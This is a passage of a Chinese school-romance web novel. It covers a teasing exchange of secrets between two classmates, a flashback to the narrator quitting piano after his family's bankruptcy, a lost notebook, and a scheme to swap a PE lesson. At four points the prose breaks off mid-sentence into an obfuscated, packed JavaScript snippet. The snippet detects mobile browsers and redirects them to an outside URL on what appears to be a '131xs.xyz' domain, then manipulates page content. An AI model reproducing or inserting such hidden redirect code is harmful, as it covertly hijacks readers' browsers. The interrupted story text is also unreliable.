“哦,对了,”想起张朝的计划,纪小鱼眨了眨眼睛,试探 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15916681|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地问道,“今天张校长的话,你都听到了吧?诶,你对早恋怎么看啊?” 何非亮神色淡淡,沉默了一会,才缓慢开口道,“这个问题其实很难回答。” 问都问了,纪小鱼才不会就这么轻易放过这个打探的机会,“这有啥难的,你就随便说说呗。” 何非亮不开口,只是眯起一点眼睛,探究地打量着纪小鱼脸上的神情,像是想瞧出他的脑袋瓜子里又有什么鬼主意。 “哎呀,”纪小鱼厚着脸皮回应着扫视而来的目光,眼睛弯成一道促狭的缝,笑着怂恿道,“别不好意思嘛!咱俩都这么熟了,对吧?过命的交情!” “哦,有吗?” “那可不吗?”纪小鱼理直气壮,“你不是说过,有我在,你能多活几年吗?可别不认账!” 好像……确实是有这么一回事? 何非亮唇角漏出一点笑,无奈地瞥了一眼纪小鱼,又望向窗外——阴云散去了一些,露出了月亮的一角。 他看着阴云翻滚间偶然流露出的柔软月光,终于缓缓开口,“可能在很多人的心目中,爱有一个合适的时间,所以会有‘早恋’一说。可是心动不心动,有时候并不以人的意志为转移。所以,不如说,年少时的喜欢,应该是选择克制还是放肆。” 等了半天,纪小鱼还是没有听到下文,不由地有点无语。何非亮真是太不够意思了,每次绕了一大圈,讲着讲着,又在最关键的地方停住了。 那你倒是快说啊—— 纪小鱼追问道,“何非亮,那你呢,你会选择克制还是放肆?” 何非亮收回看向窗外的目光,幽幽地扫了纪小鱼一眼,“小鱼,你为什么想知道这个问题?” “因为我有好奇心!”纪小鱼回答的振振有词。 “呵呵,你有好奇心和我有什么关系?” “因为、因为……”纪小鱼眼珠一转,决定故技重施,“我让你多活了几年!” “嗯,所以我刚才也多说了几句。” 哈!这就翻脸不认人了? 然而,纪小鱼悲哀地发现,自己手上好像并没有什么何非亮的把柄可以威逼他开口。 何非亮手上倒是挺多自己的把柄的…… 怎么办呢? 纪小鱼脑海中蹦出了三个选项: 【A:暴力威逼——扼住何非亮命运的咽喉,警告他,“生存或是毁灭,只在一念之间,就看你说不说咯。”】 【B:软语相求——文明礼貌地对何非亮说,“求求你了,好哥哥,你就告诉我吧~”】 【C:以利诱之——对何非亮说:“Brother, how about make a deal?你告诉我的话,我也可以告诉你一个我的小秘密哦~”】 可恶,我难道不要面子的吗? 纪小鱼第一个排除了B选项——这种想一想,鸡皮疙瘩都要掉一地的台词怎么可能说出口!人设会崩的! 至于A选项……嗯,说了今天不打架就不打架!在D班的那一番争斗已经耗尽了洪荒之力,打不动了。 纪小鱼觉得没啥好纠结的,果断地又把A选项排除了。 只剩下C选项了。纪小鱼心一横,不就是交换秘密吗?自己有什么不能说的,都可以说! “何非亮,”纪小鱼用肩膀挤了挤坐在旁边的何非亮,“你告诉我呗,作为交换,我可以也告诉你一个我的小秘密。” “怎么样,机不可失、失不再来哦!” “想必,你对神秘的我,已经充满了好奇心吧!” “哦呵呵呵呵!” 25.第二十五章 计划破产 “好啊,”何非亮答应得倒是挺爽快的,“小鱼,你弹得这么好,当初为什么不继续学了?” “哈?”纪小鱼被这个问题噎住了,缓了缓,才开口骂道,“喂,你有没有搞错啊何非亮,这么千载难逢的好机会你就问这个?你有病吧!” “没病,”何非亮斜着眼睛睨了纪小鱼一眼,故意地停顿了一下,悠悠地说,“就是有好奇心。” “我,咳咳咳咳咳……” 可恶,“好奇心”这三个字,怎么听起来那么像在酸我哦! 纪小鱼一时激动,被呛出了一串咳嗽。 何非亮在他的后背上帮忙拍了拍,“小鱼,别着急,慢慢说。” 纪小鱼顺过气来,不领情地白了何非亮一眼,“就——不想学了呗,还能为什么?” “不想学的原因可以有很多,”何非亮显然今晚就是要揪着这个问题不放了,“我想知道那个理由。” “就——” 纪小鱼完全不能理解何非亮在这个问题上刨根问底的认真劲,一时有些失言。 呃……突然提起的这个话题,真要细说的话,好像有那么点别扭。 纪小鱼扣着自己的手指,陷入了回忆。 那大概是一个不用上学的星期天,纪小小鱼在家里弹着琴自娱自乐。弹累了,就停下来休息一下。 爸爸妈妈这个点照常是不在家的。没有了琴声,屋子里突然变的很安静,时间也好像被拉得很长很长。 墙上的影子像长着大嘴的怪物,打着呵欠从这头飞到那头。 有一点点无聊…… 纪小小鱼最怕无聊,因此决定去楼下的花园里练习忍者跑步。 跑着跑着,竟然在花丛深处听到了妈妈的声音。 “阿弟,如果不是真的太难了,我怎么会开口找你借钱?” “姐,钱这个东西,要懂得开源节流。不是我说,真的太难了,你也该想想省钱的法子。就你们家小鱼,一个月学琴的费用都要好几万了吧?艺术这个东西,那就是烧钱来陶冶情操的,以前你们家是有条件,现在……” “可是,小鱼在这方面是真的很有天赋。前两个月他还参加了市里的钢琴演奏会,他们老师说他是小朋友里弹得最好的。下个月他还要参加钢琴比赛。我、我怎么可以在这个关头,让他不学了呢?” “他要是真这么厉害,你让那个老师给他免费教,行不行?” “这……这怎么好意思呢?” “那你让他去卖艺挣钱!” “阿弟,小鱼才八岁!” “八岁怎么了?八岁正好!太大了会弹几个曲都没人稀罕了!” “那你八岁的时候在干嘛?你十八岁的时候还是我供你上的大学!” “姐,你这话说出来就伤和气了。” “哦……对不起。” “行吧,我也不是知恩不图报的人。大学四年,就算一年十万,我再多给你十万,一共五十万,明天打给你!算我还你的!够意思了吧?晚饭就不一起吃了,我还有事,先走了。” “哦……谢谢你,阿弟。刚才是我太着急了,这钱还是算我找你借的……” “哼。” 树后面的影子动了动,纪小小鱼连忙缩到墙根,然后再趁妈妈不注意,闪回了家。 奇怪的是,小舅舅明明先走了,可是就在楼下的妈妈却过了很久才回来。 嗯……纪小小鱼打了个呵欠,过了有一集《火影忍者》加广告那么久! 妈妈回来的时候,神色如常。她看见纪小小鱼正懒懒地歪倒在沙发上看动画片,故意清了清嗓子,“小鱼,坐端正!” 纪小小鱼立马规规矩矩地坐好。 妈妈笑了笑,走过来,坐下陪他一起看。 只是这一集,恰好演到了鸣人的妈妈漩涡玖辛奈在弥留之际的叮嘱—— “鸣人,别挑食,好好吃饭,快快长大!每天都要洗个澡,好让身体暖暖的。另外不要熬夜,保证睡眠……[1]” 纪小小鱼觉得心里堵堵的,死撑着不敢眨眼睛。 惨了,要是哭出来被妈妈看到了就丢死人了! 忍了好一会,纪小小鱼才把一波一波煽情出来的眼泪给憋了回去。他有点不好意思地偷偷侧过一点脸,却只瞄到了心不在焉地在手机上按着计算器的妈妈。 终于演到片尾曲开始播放,妈妈才收起手机,抬起头,轻声问他,“小鱼,你告诉妈妈,你喜欢弹钢琴吗?” 纪小小鱼抿了抿唇,她从妈妈的目光中读到了一种颤抖的坚定——只要他说一句喜欢,妈妈一定倾尽全力、砸锅卖铁地供他继续学下去!她只是想要一个答案,一个可以撑下去的答案。 于是纪小小鱼摇摇头,生气地说,“一点也不喜欢!要不是妈妈你逼着我练,我早就不想学了!” “我其实,很讨厌钢琴!” …… 终于回忆完最后一个片段,纪小鱼笑了笑,再给他一次选择他还是会这么说吧。 “好吧好吧,”纪小鱼大大咧咧地开口道,“就当时家里破产了,没钱学了呗!” “哦,”何非亮若有所思地点点头,“原来如此。” 纪小鱼表现出了一点不开心,“诶,何非亮,你好歹毒的心啊!没事戳别人伤口干嘛哦!怎么样,我不在你是不是轻松了很多?没人和你抢第一了吧?” 是轻松了很多,却也孤单了很多。 这话何非亮没说出口,他也只是笑笑,“准备了那么久的比赛,结果你竟然没参加。看到第二名不是你的时候——嗯,挺不习惯的,有点……无聊。” “呵呵,”纪小鱼冷笑,“你应该感谢上天!我要是去参加了,还有你得第一的份吗?王老师可是说,我比你更有灵气!” “哈,”何非亮不甘示弱,“王老师也说了,我对音乐中感情的理解比你更深。” “oh,really?”纪小鱼继续冷笑,“钢琴就在那里,你去弹!快去!就弹一个雨里的肖邦,让我看看悲不悲伤!” “呵,”何非亮慵懒地起身,低头回之以冷笑,“那你别不小心哭出来。” 何非亮缓缓地走到钢琴前坐下。 演奏灯映在他清冷的眉眼间,好像也连带着把那一抹静谧的忧伤带入了他的眼睛。 雨水一滴一滴地从他的指尖滑落。 落在草叶间。 像踩着一个轻盈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15922636|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的梦。 有风自来。 肖邦的作品从不需要砸琴。悲伤和悲伤席卷而来时,永远克制地保留了空间,永远留有余韵,永远很快平静。就好像在弹这首曲子时,右手有多自由,左手就有多平稳。 雨滴,无喜无悲,却偏偏砸进人的心底。 Prelude Op.28: 15 "Raindrop"——肖邦的《“雨滴”前奏曲》。 …… 雨声渐远、渐息。 琴声停止,像雨后梦幻的安宁。 何非亮收起目光里的深沉,慢慢走回到了纪小鱼身边,坐下。 “弹得不错,”纪小鱼尴尬地曲着食指蹭了蹭鼻尖,嘴硬地补了一句,“可惜我的内心毫无波澜,甚至有点想笑,更别提哭出来了。” “说了吧,”何非亮无所谓地耸了耸肩,“你对音乐中的感情理解不够。” 我……! 纪小鱼呼吸一窒。 像尾巴被踩了一样! 哎呦,好气啊! “哦,就你够!”纪小鱼毫不示弱地反唇相讥,“就你是感情大师!那你到底是克制还是放肆啊!” 纪小鱼顿了顿,嘴角突然浮现出了一副不怀好意的笑,“哦~其实我不用问你,也该猜到的!你这么怂,当然是选择克制咯!啊哈哈哈哈哈!” 何非亮依然一副气定神闲的模样,声音和他的样子一样疏离清冷,眼尾却软了下来,“小鱼,你说的对,我会选克制,可是不是因为怂。” “那是因为什么?因为智者不入爱河?还是你要立地成佛?”纪小鱼冲何非亮做了个鬼脸,“嘿嘿,总不可能是你立志要当富婆吧?哈哈哈哈!” “什么啊。”何非亮的眼睛里有一片温柔的海,他像看傻子一样,无奈又慈爱地看着纪小鱼,“你到底要不要听?” “听!听!”纪小鱼连忙正襟危坐,“洗耳恭听!” 何非亮在心里叹了口气,缓缓开口解释道,“小鱼,现在的放肆,就好像一场豪赌,可能会双赢,也可能会惨败。我赌不起,因为我的人生不是只有爱情;我也没有立场,因为一己私欲,把另一个人也拉着下注。” 说到这,何非亮停了停,目光轻飘飘地落在了纪小鱼身上,突然就弯了弯唇角,恶作剧般地在他的脑门上弹了一下,“爱一个人,也当为之计深远,你说对吗,小鱼?” “诶!”纪小鱼捂着脑门,不满意地囔囔,“你讲道理就讲道理,你弹我头干嘛?” “把你脑子里想让我早恋,影响我学习的阴谋弹走。” “你怎么知道!”纪小鱼大惊失色,“你不会是偷听了我和张朝的讲话吧?” 何非亮扶额,“不会吧,你们还真的啊。” 纪小鱼:“……”糟糕,又被套话了。 呃,这下,张兄的计划恐怕要彻底破产啰。 不过不知道为什么,纪小鱼的心里好像还有一点小小的欣慰。 果然,何非亮不愧是我纪小鱼的对手,哪有那么容易上别人的当嘛! 要上也是上我想出来的“当”! “小鱼,”何非亮的声音在耳边幽幽地响起,“能麻烦你解释一下吗?” 26.第二十六章 智者千虑 “我什么也不知道!”纪小鱼拼命摇头,像学了街舞似的。 “也是,”何非亮抬手按住了纪小鱼乱晃的头,“凭你小学生的脑袋应该也想不出来。” “胡说!我起码也是,研究生!” “好哦,研究生。”何非亮目光藏笑,探究地望进纪小鱼的眼睛里,“所以这个计划——是您研究出来的?” 纪小鱼回应得理直气壮,“当然不是!我研究的可比这个高级多了!” “哦?”何非亮好像来了兴趣,“那您平时都研究些什么?” “呵呵,这是机密!”纪小鱼一副洋洋自得的模样——开玩笑,这怎么能告诉你呢? 何非亮嘴里漏出一声揶揄的轻笑,突然从口袋里掏出一个小本子,在手上晃了晃,“是这个吗?” 这是什么? 纪小鱼困惑地望过去。 嘶~怎么有一种不祥的预感? 只见何非亮好整以暇地打开了手里的本子,借着昏暗的灯光,眯着眼睛念了起来——念的时候,还不忘把声音做作地故意调成了人工智能的腔调: “早读课,何非亮睡得像只小猪,糟粕!照相机记忆法,精华!可恶,为什么我学不会……” 纪小鱼:“!!!” 那一板一眼的腔调嘲讽力简直爆表,纪小鱼惊恐地瞪大了眼睛,脑子里疯狂弹出弹幕: 【天啊!天啊!天啊!我心爱的小本本为什么会出现在何非亮手上!抓狂.jpg】 【救命,丢死人啦!】 【浪了吧浪了吧?这么重要的东西竟然落在了何非亮手里,这下GG了吧!】 【惨了,这以后还怎么混啊!】 【纪小鱼,你还愣着干嘛,快去把本子抢回来啊?】 纪小鱼这才反应过来,连忙扑过去抢本子。 “诶诶,”何非亮把拿着本子的手举高高,躲过了纪小鱼的进攻,“小鱼,你抢什么?这本子是你的吗?” 诶? 纪小鱼抢本子的手顿了顿,愣愣地眨了眨眼睛。 啊咧?何非亮其实不确定这个本子是我的吗? “哦,当然不是我的!我就是好奇,想拿来看看。”事情仿佛出现了一丝转机,纪小鱼若无其事地把手收回背在身后,压住心里的窃喜,镇定地试探道,“何非亮,这本子你从哪里弄来的?” “地上捡的。” “哦~”纪小鱼心里的大石头终于落地。 虽然不知道本子为什么会出现在地上,但是—— 就算何非亮是从班上捡的,或者再狠一点,直接是从纪小鱼他本人的椅子底下捡的,那也可能就是谁走过路过掉的,和我纪小鱼有什么关系? ㄟ( ▔, ▔ )ㄏ 嘿嘿! 纪小鱼放松下来,嘴角的笑容压都压不住,只好化成了一句轻快又略带遗憾的问句,“哎呀呀呀,真奇怪,是谁的呢?” “嗯,是谁的呢?”何非亮也表示困惑,缓了缓,又道,“应该是一个认识我的人……” 纪小鱼有点无语——这不明摆着吗?上面都写着你的名字了!你不认识他、他也得认识你呀! “大概还有点崇拜我……”何非亮接着分析道。 荒谬! 崇拜什么的根本就是无稽之谈!胡说八道! 纪小鱼觉得何非亮的推理能力简直搞笑,不过这样正好。 “何非亮,要不就别管了吧?”纪小鱼顺坡下驴、语重心长地劝说道,“全校那么多人认识你,这个本子看上去也平平无奇,就是小卖部两块五买一送一的那种。我看你还是不要浪费时间纠结了,没有结果的。” “不行。”何非亮断然地拒绝了他。 “为什么?” “因为我有好奇心。” “呵呵!”纪小鱼敏感地察觉到话里的戏谑,气极反笑,“好啊,那你就想呗,看你能想出什么东西来!” “嗯……”何非亮还真的就陷入了沉思。他左右端详着手里的本子,突然眉头一皱,抽吸一声,像是发现了事情并不简单,“咦?我突然想起来了,这个本子是从——” 纪小鱼的一口气又狠狠地提了起来—— 是从什么!? 然而,紧张地竖着耳朵听了一会,发现何非亮又没有下文了。 喂! 纪小鱼在心里抗议,何非亮你这个讲话讲一半、老是吊人胃口的臭毛病到底什么时候才能改哦! 还有就是——你这个欲言又止、欲说还休的眼神又是什么意思??? ……瞅得人心里慌慌的。 纪小鱼咽了口唾沫,目光虚张声势地怼了回去,“你有话直说!别磨磨唧唧的好吗?是从什么啊?” “是从你口袋里掉出来的。”何非亮幽幽地回答道。 什么!? 纪小鱼的心尖都跟着颤了一下。 这、这怎么可能呢? 我的口袋可是…… 纪小鱼脸一白,这才想起,刚才在D班的时候,一片混乱之际,好像确实有什么东西从口袋里掉出来了…… 不是吧?这就是传说中的“智者千虑,必有一失”吗? 裂! 平时的运动校裤,纪小鱼都谨慎妥帖地给它们装上了拉链——但今晚穿的偏偏是没有拿去装拉链的礼服西装裤。 什么,你问为什么要厚此薄彼?拜托,装一个拉链要三块钱巨款呢!装在这种出场率低得可怜的裤子上简直就是暴殄天物好吗? 谁能想到,这刚好就栽了呢! 唉,如果西装裤装了拉链、如果今天不是星期一、如果下午放学不打球、打完球不洗澡、换上这个裤子以后不去D班、去了D班但是拒绝的时候委婉一点…… 命运仿佛就是草蛇灰线、伏脉千里的必然事件,等你意识到的时候,一切都已经晚了。 纪小鱼的嘴角扯出一个僵硬的笑容。 “哦,是吗?”事已至此,他也只能硬着头皮继续咬死不认了,“哎呀,真奇怪,是谁放进我口袋里的呢?” “小鱼,你也很好奇吗?” “有一点吧。” “呵呵,我知道是谁了。”何非亮把本子翻到扉页,嘴角勾起了胜券在握的笑容,“你看,本子上还写了名字呢!” “喏,”何非亮一边指给他看,一边一字一句地念了出来,“惊、天、霹、雳、纪、小、帅。” “咳,原来是我表弟纪小帅的啊!”纪小鱼觍着脸,趁着本子就在手边,连忙把它抢了回来,在口袋里放好,“我下次看见他就还给他,不劳你费心了。” “哦~”何非亮点点头,好像信了一样,目光似笑非笑又意味深长,“原来是你表弟的啊。” 纪小鱼一点也不想再继续这个话题了。他擦了一把额角上冒出来的汗,一本正经地清了清嗓子,“咳,这是我家的家事,你就别管了吧。我当表哥的会好好教育他的。” “辛苦你了,小帅哥。” 纪小鱼:“……” 神特么小帅哥啊! 我¥%@#&*! - 第二节晚自习的下课铃声响起。 何非亮微笑起身,低头看向瘫坐着的纪小鱼,“都可以直接回家了,走吧?” 纪小鱼委屈地戳了戳肚子,“腹肌疼,起不来。” 运动完以后的肌肉难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15932330|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 免有一点酸痛,这本来没什么,但要是再加上长达三分钟忍不住、收不回的笑——个中酸爽,难以言喻,懂得是一种阅历,不懂得也是一种幸运。 何非亮良心发现,伸手拽了纪小鱼一把。 “哼,”纪小鱼起身以后,非但不领情,还继续控诉道,“你就是故意的!” “我也笑了啊。” “可是你只笑了一分钟!” “那是因为后来我一直在脑子里背《孔雀东南飞》。” “我去!有这个方法你为什么不告诉我!” “你会背?” 啊啊啊啊啊!好气啊! 纪小鱼再也顾不上那么多了,扑上去就要和何非亮打成一团。 何非亮游刃有余地抬手格挡,一边还有空闲关上了音乐教室里的最后一盏灯。 “哈哈,何非亮,你以为你关上灯我就看不清你在哪了吗?真是太可笑了!吃我一记升级版天马流星拳!嘿——” “小鱼,你今晚好像没怎么卷吧?不着急吗?” 【纪小鱼战斗意志 -100000】 纪小鱼的拳头软软地垂了下来,脑子里痛扁何非亮的画面像突然失去信号了一般,扭曲着戛然而止。 惨了!今天整个第二节晚自习好像都在玩! 一点都不像是一个高二年级合格的卷王! 这么愣着的一瞬间,何非亮已经走出音乐教室一段距离了。 纪小鱼连忙追了上去,“何非亮,你胡说什么?我其实一点也不卷。” “嗯,我这不是说了,你今晚没怎么卷吗?” 纪小鱼:“……” 郁闷地跟着何非亮不紧不慢的步伐走了一会,纪小鱼的内心才稍稍平衡了一些。 反正何非亮也没学! “诶,”路上没忍住,纪小鱼开口问道,“何非亮,你不追究了吗?就是那个想让你那个那个然后影响你学习的计划。” “哦,”何非亮像是在问他,又像是在感慨,“那个主意是张朝提的吧?他好像一直对我有什么误解。” “什么误解?” 何非亮思考了一下,“太多了。” “比如?” “嗯……他不是你的新朋友吗,你想知道的话,自己去问问他呗?” 何非亮把“新朋友”三个字咬得格外的字正腔圆。 嘶~听起来…… 哎呦…… 纪小鱼心虚地打着圆场,“你别想太多,大家都是好同学,可能就是单纯看你不爽。” 何非亮:“……” “你和张朝以前认识啊?”纪小鱼好奇地问。 “嗯,”何非亮淡淡地点头,“我们都是本校直升,他是我初中的同班同学。” 纪小鱼在心里轻轻地“啧”了一声,看来这两个人的渊源其实也不浅嘛。 “哈哈,同班同学都这么不爽你,”纪小鱼像发现了什么了不得的大事一样,向何非亮投去了幸灾乐祸的一瞥,“看来,我不在的初中里,何非亮你这个,人缘一般呐!” “是啊,好惨的。”何非亮笑了笑,“你呢,小鱼,你初中的时候,开心吗?” 开心吗? 纪小鱼挠了挠头,“还挺开心的吧。” 如果能在联考的时候拿一次第一,应该会更开心一点! “我想也是。”何非亮轻轻地笑开了,“挺好的。” “对了,你说篮球那个战术,有件事要和我确认?” “好晚了,”何非亮一副倦了的样子,“明天再说吧。” “哦,还有,你那个眼镜不用还给卓影吗?” 何非亮:“……忘了。” 27.第二十七章 偷梁换柱 教生物的夏老师爱不爱借钱不太清楚,但挺爱借课的,并且永远是有借无还、下次还借。这其中,体育老师当属最大的“冤大头”。 又是新的一天。 早读课,晨光熹微。 窗外的鸟儿“叽叽喳喳”地歌唱,教室里的同学们“叽哩哇啦”地自由诵读着课文。 吕天明有口无心地读了一会儿,目光便忧心忡忡地从课本漂移到了黑板上的课表——数学、英语、语文、体育……今天上午的最后一节课,赫然就是这么一节薛定谔的体育课。 能上or不能上,this is a question. A serious question! 唉,大概率是不能上了…… 下周一就要开战了,准备篮球比赛的时间可谓是争分夺秒。在课业繁重的情况下,这一节体育课更是显得格外的珍贵。 不上怎么能行呢? 得上!必须得上! 可是…… 体育委员吕天明抓耳挠腮,卑微地焦虑了半天,仍然是无计可施、无可奈何。左顾右盼,见语文老师还没来到教室,终于按捺不住,把椅子往纪小鱼身边利落地一搬一放—— “诶,好兄弟,”吕天明装模做样地捧着语文课本挡着脸问道,“你说咱今天这体育课能上吗?” “那必须能啊,”纪小鱼回答得很爽快,“何非亮说他有办法。” “嗯,”何非亮微微颔首,不慌不忙道,“纪小鱼说他也有办法。” 纪小鱼睨了何非亮一眼,“我说过吗?” “哦?”何非亮挑眉,“原来你没有办法吗?” “我……我当然有办法!”纪小鱼觉得突然间好气哦,“我不仅有办法,我还有上中下三个办法!” “哎呦,好兄弟,你行啊!我一个办法都想不出,你竟然想出了三个!”吕天明激动地两眼放光,“牛逼啊,快说来听听!” “我也要听!”蒋小胖也好奇地转过身来,满脸期待地看着纪小鱼。 “嗯,”纪小鱼沉吟了一会,缓缓开口道,“俗话说得好,‘只要胆子大,天天是放假’,下策就是——我们篮球队的成员一起逃课去打球吧!” 简单、粗暴! 然而后果不堪设想…… 沉默了一会,吕天明赞道,“真不愧是下策啊!” 何非亮没忍住,唇角漏出了一点零星的笑意,“小鱼,那中策呢?” “中策就是……苦、苦肉计吧?”纪小鱼轻咳一声,“我们可以去和夏老师哭诉,哭诉我们在球场上遭受到不公正待遇时的心酸和不甘,情真意切地倾诉我们想要证明自己的热血和决心,让夏老师深切地感受到这节体育课的重要性以及必要性。也许夏老师心一软,就放我们去上体育课了。” “嗯……”何非亮点点头,“你去哭?” 纪小鱼老脸一红,“不、不吧。我今天刚好社恐。” 众人的视线不约而同地移到了吕天明的脸上—— 吕天明? 社牛啊! “好吧,我试试。”吕天明的眼底流露出了一点真情实感的悲痛,然而他僵硬地张了张嘴,却什么声音也没能发出来。 忧伤的气息慢慢收敛,吕天明的神色逐渐恢复如常。 “唉,”吕天明摇摇头,甩下一声重重的叹息,“不行,我这是老毛病了,一难过,就说不出话……要不——” “不不不,别看我,我也不行!”蒋小胖咽了口唾沫,连连摆手,“你们真别看着我,这个、这个你们也知道,我上次生物考全班倒一,就算我看见夏老师不发怵,那人家夏老师看到我,心情能好吗?就算本来能同意的,看到我那也必须就不同意了。” 说得有道理。大家不再为难蒋小胖,这次,目光齐齐地落在了何非亮的身上—— 哪个老师看见何非亮心情能不好? 每个老师看到何非亮,都觉得自己教得特别好、特别有水平!满满的成就感! 何非亮唇角微弯,不置可否,“成与不成,寄希望于夏老师的一念之间,似乎过于被动,不够稳妥,的确只能称之为中策。我们还是先听听小鱼的上策吧。” “上策……上策就是……”纪小鱼眼珠一转,“不行,这个上策可是我好不容易才想出来的!何非亮,这次你先说,免得你抄袭我的创意!” “行啊。”何非亮一副无所谓的样子,“但我要是不小心说出了你好不容易才想到的上策……” “嘶,”何非亮停顿了一下,悠悠然地继续开口道,“小鱼,你可就要更不容易地想一个上上策,别人才不会觉得是你抄袭我的。好吧,我要开始说了,我的想法是……” “等等!”纪小鱼急忙阻止了何非亮继续讲下去。 嗯……先讲也不是,不先讲也不是,那大不了就同时讲吧! 纪小鱼灵机一动,飞快地从课桌里抽出一小本便利贴,一把撕下一张黏在何非亮的桌上,“写下来!写下来!有本事我们同时写下来,比比谁的主意更好!” “嗯,好啊。”何非亮不慌不忙地提笔。 纪小鱼一边写,一边用左手神神秘秘地挡住便利贴,以防何非亮偷看。 写写写…… 嘿嘿,大功告成! 哎呀,这个上策怎么想怎么完美,纪小鱼自己都佩服起自己聪明的小脑瓜了。 呵,才不信何非亮能想出更好的呢! “喂,”纪小鱼拿手盖住便利贴,朝何非亮不服气地叫嚣,“我写好了,你的呢?” “喏。”何非亮大大方方地把自己的那份推了过去。 纪小鱼也顺势把自己的手挪开。 两张便利贴,字迹迥然不同,内容却大相径庭。 何非亮写的是——“偷梁换柱”。 纪小鱼写的是——“你以为它是体育课,但它已经不是了。” 两人一笑一惊,都知道双方的脑电波这是对上了! 何非亮笑的是心有灵犀,纪小鱼惊的是——我去,何非亮,你往我的肚子里派了蛔虫吗?噫~好恶心! 吕天明盯着两张便利贴左看右看,越看越犯糊涂,忍不住开口问道,“好兄弟,什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15938496|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叫‘你以为它是体育课,但它已经不是了’?” 蒋小胖也有点慌,“难道、难道它注定要成为一节生物课了吗?” “唉,不对,”纪小鱼无奈地叹了口气,拎着笔尾戳了戳吕天明手里拿反了的语文课本,“是语文课。” “啊?”吕天明脑袋上的问号更多了,“怎么又变成语文课了?不明白。” “很简单,”何非亮帮着解释道,“上午的语文课和体育课对调,先上体育,后上语文……夏老师总没有理由,占一节语文课吧?” 吕天明愣了愣,望向课表—— 上午的第三节课是语文、第四节课是体育,把体育课挪到前面先上了再说,如此这般…… 哦~原来这就是所谓的“偷梁换柱”,也正是“你以为它是体育课,但它已经不是了”! 哎呦,好像真的可以! 有个成语叫那什么……呃……醍醐灌顶!吕天明觉得自己原本浆糊般的脑袋里仿佛注入了一丝清明,越想越觉得对头、有戏! 这个计划的关键在于语文老师愿不愿意换课,但吕天明对这一点很有信心。先不说语文老师为人一向随和,这种小忙肯定能帮就帮。更重要的是,别人可能不太清楚,可他作为体育委员还是知道一点内幕的——体育老师和语文老师……他们可是一伙的! 吕天明面露喜色,一颗悬着的心终于放下,“哦!偷梁换柱、体育课变语文……原来如此、原来如此!妙啊!” “学神哥哥,你好聪明啊!”蒋小胖也恍然大悟,“你这么一说我觉得这个方法好像挺简单的。诶,奇怪,我刚才怎么就没想到呢?” 纪小鱼在心里轻轻地“哼”了一声——蒋小胖,你这个吃里扒外的家伙,怎么就不夸夸你的好朋友我呢? “小鱼,你想到的上策和学神哥哥想到的一样诶!”蒋小胖像是感应到了一般,连忙夸道,“你也好聪明哦!” “啊哈哈哈哈,没什么没什么,随便想到的啦。” 纪小鱼的心里这才舒坦了不少。他一边玩着手里的笔,一边偷偷瞥了何非亮一眼,突然有了一种怪怪的、难以言说的感觉。 都说“英雄所见略同”。何非亮虽然肯定称不上是个英雄,顶多算是个人模人样的狗熊。但和他,为什么总有一种说不上来的默契呢? …… 阳光像心情一样灿烂。 蓝天白云,一派敞亮。 久违的体育课来得猝不及防,像一个精心谋划的意外,像一场长达四十五分钟突如其来的假期。 敷衍地慢跑过两圈以后,大家便开始了愉快的自由活动。 那么问题来了,一节可以自由活动的体育课应当怎样度过? ——大部分同学选择了在操场上找个阴凉的角落写作业。 嗯……真有趣,晚上规定的自习课大家好像都不太喜欢,真有一节可以自由活动的课,大家又开开心心地把它过成了自习课。 大概这就是自由的魅力吧:) - 篮球场上,一道完美的弧线划过天际,球稳稳地撞入篮心。 28.第二十八章 痛苦面具 纪小鱼对自己的表现很满意。他忍住了给自己鼓掌的冲动,冲篮球架旁站着的何非亮喊道,“喂,不要崇拜哥了,快把球传过来!” “小鱼,”何非亮顺手把球捞起,似笑非笑地托着球走向纪小鱼,“你投篮的时候,中间停顿的时间能不能少一点?” “不能,”纪小鱼不开心地拒绝了何非亮这个得寸进尺的要求,“这已经很快了。” 何非亮摇摇头,“那可能不太行。” 这话仿佛在纪小鱼膨胀的心灵上戳了一刀,怪不中听的。 